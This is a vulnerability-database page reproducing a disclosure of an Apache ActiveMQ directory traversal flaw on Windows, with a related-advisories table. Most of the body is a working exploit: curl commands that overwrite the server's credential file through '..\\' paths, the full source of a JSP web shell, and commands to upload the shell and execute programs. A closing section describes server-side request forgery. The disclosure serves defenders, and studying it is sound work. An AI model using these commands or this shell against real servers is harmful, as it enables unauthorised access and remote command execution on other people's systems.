Lucene search
K

Apache ActiveMQ 5.11.1 / 5.13.2 Directory Traversal / Command Execution

🗓️ 03 Dec 2016 00:00:00Reported by David JormType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 600 Views

Apache ActiveMQ directory traversal allows remote code execution via Windows file upload. Cross-platform attack possible via server side request forgery exploit. ActiveMQ patch available

Related
Code
ReporterTitlePublishedViews
Family
0day.today
ActiveMQ 5.0.0 - 5.11.1 Path traversal leading to unauthenticated RCE Vulnerability
20 Aug 201500:00
zdt
0day.today
Apache ActiveMQ 5.11.1/5.13.2 - Directory Traversal / Command Execution Vulnerabilities
3 Dec 201600:00
zdt
0day.today
Apache ActiveMQ < 5.14.0 - Web Shell Upload Exploit
30 Jun 201700:00
zdt
0day.today
Apache ActiveMQ 5.11.1 Directory Traversal / Shell Upload Exploit
6 Mar 202000:00
zdt
IBM Security Bulletins
Security Bulletin: IBM Jazz for Service Management is vulnerable due to Log4j 1.2 SocketServer Remote Code Execution and Deserialization of Untrusted Data
24 Jun 202511:56
ibm
IBM Security Bulletins
Security Bulletin: Multiple Vulnerabilities in IBM Application Performance Management
2 May 202412:46
ibm
IBM Security Bulletins
Security Bulletin: IBM Security Directory Integrator is affected by multiple security vulnerabilities
22 Jun 202316:30
ibm
IBM Security Bulletins
Security Bulletin: Security vulnerabilities in ActiveMQ 5.2.0 affect IBM Sterling B2B Integrator (CVE-2015-1830, CVE-2014-8110, CVE-2013-3060, CVE-2013-1880, CVE-2013-1879, CVE-2012-6551, CVE-2012-6092, CVE-2010-1587, CVE-2010-1244, CVE-2010-0684)
16 Jun 201819:48
ibm
IBM Security Bulletins
Security Bulletin: IBM has announced a release for IBM Security Identity Governance and Intelligence in response to multiple security vulnerabilities
18 Feb 201914:10
ibm
IBM Security Bulletins
Security Bulletin: IBM Security Directory Suite is vulnerable to multiple issues
26 Mar 202503:44
ibm
Rows per page
`I have recently been playing with Apache ActiveMQ, and came across a simple but interesting directory traversal flaw in the fileserver upload/download functionality.   
  
I have only been able to reproduce this on Windows, i.e. where "\" is a path delimiter.   
  
An attacker could use this flaw to upload arbitrary files to the server, including a JSP shell, leading to remote code execution.  
  
Exploiting Windows systems to achieve RCE The default conf/jetty.xml includes:  
  
<bean class="org.eclipse.jetty.security.ConstraintMapping" id="securityConstraintMapping">   
<property name="constraint" ref="securityConstraint">   
<property name="pathSpec" value="/api/*,/admin/*,*.jsp">   
</property></property>   
</bean>   
  
Effectively blocking the upload of JSP files into contexts that will allow them to execute.   
  
I imagine there are many ways around this; for my proof of concept I opted to overwrite conf/jetty-realm.properties and set my own credentials:  
  
$ cat jetty-realm.properties hacker: hacker, admin  
$ curl -v -X PUT --data "@jetty-realm.properties" http://TARGET:8161/fileserver/..\\conf\\jetty-realm.properties  
  
This seems to have the disadvantage of requiring a reboot of the server to take effect.   
  
I am not sure if that is always the case, but if so, I'm pretty sure there is some other workaround that wouldn't require a reboot.   
The attacker can then take a standard JSP shell:  
  
$ cat cmd.jsp   
<%@ page import="java.util.*,java.io.*"%>   
<%   
%>   
<HTML><BODY>   
Commands with JSP   
<FORM METHOD="GET" NAME="myform" ACTION="">   
<INPUT TYPE="text" NAME="cmd">   
<INPUT TYPE="submit" VALUE="Send">   
</FORM>   
<pre>   
<%   
if (request.getParameter("cmd") != null) {   
out.println("Command: " + request.getParameter("cmd") + "<BR>");   
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));   
OutputStream os = p.getOutputStream();   
InputStream in = p.getInputStream();   
DataInputStream dis = new DataInputStream(in);   
String disr = dis.readLine();   
while ( disr != null ) {   
out.println(disr);   
disr = dis.readLine();   
}   
}   
%>   
</pre>   
</BODY></HTML>   
  
Upload it, exploiting the "..\" directory traversal flaw to put it into an executable context:  
  
$ curl -u 'hacker:hacker' -v -X PUT --data "@cmd.jsp" http://TARGET:8161/fileserver/..\\admin\\cmd.jsp  
  
And pop a calc on the server:  
  
$ curl -u 'hacker:hacker' -v -X GET http://TARGET:8161/admin/cmd.jsp?cmd=calc.exe  
  
Exploiting non-Windows servers  
  
All attempts at directory traversal on a Linux system failed - encoded, double encoded, and UTF-8 encoded "../" were all caught by Jetty. Only "..\" worked.   
That said, clients can specify the uploadUrl for a blob transfer, e.g.:  
  
tcp://localhost:61616?jms.blobTransferPolicy.uploadUrl=http://foo.com  
  
An attacker able to enqueue messages could use this to perform server side request forgery to an arbitrary uploadUrl target, even when running on non-Windows servers.  
  
Resolution  
  
The ActiveMQ project has released an advisory and patches.   
  
This is not the first instance of such a flaw in an open source Java application; CVE-2014-7816 comes to mind.   
  
It demonstrates that while Java may be platform independent, many developers are used to developing for a particular OS, and don't necessarily take cross-platform concerns into account.  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation